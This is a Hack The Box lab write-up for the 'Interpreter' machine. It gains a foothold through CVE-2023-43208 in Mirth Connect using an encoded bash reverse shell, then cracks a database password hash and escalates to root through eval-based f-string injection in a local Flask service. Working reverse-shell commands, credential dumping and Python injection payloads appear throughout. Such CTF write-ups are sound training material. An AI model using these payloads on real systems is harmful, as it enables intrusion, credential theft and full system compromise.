22/02/26

interpreter

HTB machine Season 10

hack-the-box

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

In this write-up, we will walk through the steps to hack the interpreter machine on Hack The Box. Let's dive in!

Recon

We began by performing an Nmap scan to identify open ports and services on the target machine.

bash
nmap 10.129.1.XXX -A -T5
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:49 -0500
Nmap scan report for 10.129.1.XXX
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
|_http-title: Mirth Connect Administrator
| http-methods: 
|_  Potentially risky methods: TRACE
443/tcp open  ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.86 seconds

Web app + vulnerability research

so we're gonna access the website and see what application is hosted there , the application seems like an application for healthcare , We're gonna start googling to see if there is any related CVE or something can lead us further

so we find a CVE-2023-43208 so we're gonna try and see if we can get the shell with it so I tried to execute this POC https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/blob/master/CVE-2023-43208.py

so I tried many times to execute the simple rev shell , until i see that there is a Runtime.exec() , by asking ChatGPT we know that the Runtime.exec is fragile and weak with the shell metacharacters(>,&) or it can be a WAF who knows , so I tried to encode the rev shell and

bash
shell= $(echo 'bash -i >& /dev/tcp/[ip]/1234 0>&1' | base64)

after that we're gonna execute the payload

bash
python3 CVE-2023-43208.py -u https://[ip]  -c "bash -c {echo,($shell)}|{base64,-d}|{bash,-i}"

Initial access

after that we're gonna get the shell with nc

bash
nc -vlntp 1234
listening on [any] 1234 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.129.1.XXX] 44402
bash: cannot set terminal process group (3496): Inappropriate ioctl for device
bash: no job control in this shell
mirth@interpreter:/usr/local/mirthconnect$

Post-exploitation enumeration

we got the shell, we're gonna look inside the machine , and see if something interesting gonna appear , so looking for database or some configuration about the application i found that there are some files in the /usr/local/mirthconnect

bash
cat /usr/local/mirthconnect/conf/mirth.properties

# database credentials
database.username = mirthdb
database.password = MirthPass123!
## Enumearte for User

so we found a password for the database, let's connect and see if there is any password stored there

bash
mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e "select p.ID,p.USERNAME,pp.PASSWORD from PERSON p join PERSON_PASSWORD pp on p.ID=pp.PERSON_ID;"
ID      USERNAME        PASSWORD
2       sedric  u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

I tried to crack this password using a Hashcat but it was painful

bash
blob='u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='
hex=$(echo "$blob" | base64 -d | xxd -p -c 999)

# try split A (salt first 8 bytes, hash rest)
saltA=$(echo "$hex" | cut -c1-16 | xxd -r -p | base64)
hashA=$(echo "$hex" | cut -c17- | xxd -r -p | base64)
echo "sha256:600000:$saltA:$hashA" > hA.txt
hashcat -m 10900 -a 0 hA.txt /usr/share/wordlists/rockyou.txt --force

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Sun Feb 22 12:07:47 2026, (16 mins, 18 secs)
Time.Estimated...: Sun Feb 22 12:24:05 2026, (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:       10 H/s (18.28ms) @ Accel:54 Loops:1000 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9936/14344385 (0.07%)
Rejected.........: 0/9936 (0.00%)
Restore.Point....: 9828/14344385 (0.07%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999
Candidate.Engine.: Device Generator
Candidates.#01...: boracay -> lovelyme
Hardware.Mon.#01.: Util: 92%

Internal port enumeration

so we found the password of the user sedric next we gonna see the ports that are open in the machine

bash
ssh sedric@10.129.2.121
sedric@10.129.2.121's password: #snowflake1
sedric@interpreter:~$ ss -nltp
State              Recv-Q             Send-Q                         Local Address:Port                            Peer Address:Port             Process             
LISTEN             0                  128                                127.0.0.1:54321                                0.0.0.0:*                                    
LISTEN             0                  80                                 127.0.0.1:3306                                 0.0.0.0:*                                    
LISTEN             0                  256                                  0.0.0.0:6661                                 0.0.0.0:*                                    
LISTEN             0                  50                                   0.0.0.0:443                                  0.0.0.0:*                                    
LISTEN             0                  128                                  0.0.0.0:22                                   0.0.0.0:*                                    
LISTEN             0                  50                                   0.0.0.0:80                                   0.0.0.0:*                                    
LISTEN             0                  128                                     [::]:22                                      [::]:*

hmm a port like 54321 is suspicious , so I send an request to see what on the earth is going on this internal port

bash
sedric@interpreter:~$ timeout 3 bash -c "printf 'GET / HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc 127.0.0.1 54321 -nv" 2>&1 | head -n 40
(UNKNOWN) [127.0.0.1] 54321 (?) open
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.2.2 Python/3.11.2
Date: Sun, 22 Feb 2026 17:39:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: close

<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

hmm a Werkzeug server and python3

Identify process behind 54321

after having this information we gonna try to see what process behind this port

bash
sedric@interpreter:~$ ps -ef | grep -Ei "python|werkzeug|54321" | grep -v grep
root        3559       1  0 11:41 ?        00:00:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3565       1  0 11:41 ?        00:00:00 /usr/bin/python3 /usr/local/bin/notif.py

Endpoint discovery: /addPatient

so we got fail2ban script and notif.py script , first we gonna read the notif.py script and see if we can get any information for Escalation

python
sedric@interpreter:~$ cat /usr/local/bin/notif.py

    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

it builds an f-string template with user-controlled fields (first, last, sender, ts, gender) and then executes it with eval().

this is the root cause: the script evaluates user-controlled data inside an f-string, which leads to code execution.

also we discover an new endpoint addPatient that accept Post Request and the tags that we gonna use to send the request

python
@app.route("/addPatient", methods=["POST"])
-----
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])

with these information of tags we gonna test if the request we gonna use it works or not

with these information of tags we're gonna create a one-line Python script that creates this

bash
sedric@interpreter:~$ python3 -c 'import requests;u="http://127.0.0.1:54321/addPatient";x="<patient><timestamp>20250101000001</timestamp><sender_app>Me</sender_app><id>4444</id><firstname>Someone</firstname><lastname>was</lastname><birth_date>09/09/1999</birth_date><gender>M</gender></patient>";r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8);print(r.status_code);print(r.text)'

Patient Someone was (M), 27 years old, received from Me at 20250101000001

Exploitation (eval injection)

after successfully create a patient, we're gonna inject our payload in the XML code as we did in the first on the CVE

xml
<firstname>{__import__("os").popen("id").read()}</firstname>

full payload:

bash
sedric@interpreter:~$ python3 - <<'PY'
import requests
u="http://127.0.0.1:54321/addPatient"
p='{__import__("os").popen("id").read().strip()}'
x=f"""<patient>
<timestamp>20250101000001</timestamp>
<sender_app>Me</sender_app>
<id>4444</id>
<firstname>{p}</firstname>
<lastname>was</lastname>
<birth_date>09/09/1999</birth_date>
<gender>F</gender>
</patient>"""
r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8)
print(r.text)
PY

Patient uid=0(root) gid=0(root) groups=0(root) was (F), 27 years old, received from Me at 20250101000001

as we can see, we successfully executed the id command

Reading flags

so all that remains is to read the flag files and that's easy just by modifying the payload page

bash
sedric@interpreter:~$ python3 - <<'PY'
import requests
u="http://127.0.0.1:54321/addPatient"
p='{__import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip()}'
x=f"""<patient>
<timestamp>20250101000001</timestamp>
<sender_app>Me</sender_app>
<id>4444</id>
<firstname>{p}</firstname>
<lastname>was</lastname>
<birth_date>09/09/1999</birth_date>
<gender>F</gender>
</patient>"""
r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8)
print(r.text)
PY

Patient 7a6af1XXXXXXXXXXXXXXXXXXX Doe (M), 36 years old, received from Me at 20250101000001

for the user flag, all you need to do is change the payload

python
__import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip()

to this payload

python
__import__("builtins").open(chr(47)+"home"+chr(47)+"sedric"+chr(47)+"user.txt").read().strip()

Note: I tried many times to get the root shell , but all I got is 200 [INVALID_INPUT]